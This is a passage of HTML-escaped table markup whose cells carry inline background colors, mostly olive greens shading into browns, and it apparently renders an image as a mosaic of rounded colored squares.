&lt;td style=&quot;background-color: #707c4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #718254; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #76875a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #768353; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #758252; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #768453; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #788554; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8753; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8350; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d764e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #7b814c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8959; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #788453; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #778452; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8651; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a854d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8854; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8a5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c8958; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8855; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8652; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8452; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #79834f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #79814d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #78814e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #768150; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #778351; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c864e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e8750; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b7f48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #787d4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8453; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8a58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818d5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #828e5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #859261; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818d5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8755; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #778150; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #757f51; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #768353; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #79895b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c8c5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8856; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8353; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8251; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8453; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8355; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c8351; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c8454; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #798457; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8b5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c895c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b885d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a875c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c8656; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8856; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8c5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838e5b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #767f55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #858c57; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #808e5d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e8753; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #808a53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #848d56; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838b53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818d59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #808b58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #808854; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818a59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838c58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838c5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #848c55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #868d53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838a53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #82884e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838a50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #848c53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858a50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #86884f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b8f56; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #878a55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e7c50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #777045; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #72673e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #726943; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #756f46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b7949; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8350; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #828d59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818c5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8a5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #828d57; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818c57; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d8552; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f844c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #808550; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8653; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8452; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8859; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8858; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818c5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838b5b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858d5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87905e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858c53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858a51; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #878f5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #889465; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c845a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #848e5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #849265; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #848e59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #889360; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #86915f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858b53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c9156; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b8f55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #888d58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #898d58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #898d58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b905b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e955e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e945d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b915a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c9156; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e9254; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a9058; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e945c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #908f56; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a6936; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #68461c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c4318; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #563116; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a2918; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #432518; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #381f16; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d2317; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #492e1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #55472b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #797947; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b945c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #878f5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858d5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838953; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #818753; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #828853; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #848d5b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #838d5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #879262; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #868e56; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a9159; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e9159; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91945c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f955f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c9258; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b9056; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b935e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f9a64; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #858c59; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #838a5a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #889263; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b9562; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b9563; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f9661; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92975f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949961; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919763; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #919560; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91945f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #929764; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949a66; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949963; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91955e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91965d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969a5e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #95985d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969e6a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e8c58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #684b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f481a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #885f22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #916a29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b5523; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b471f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #52331c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f261b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1c19; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261415; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #230c10; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271315; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #635c3a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
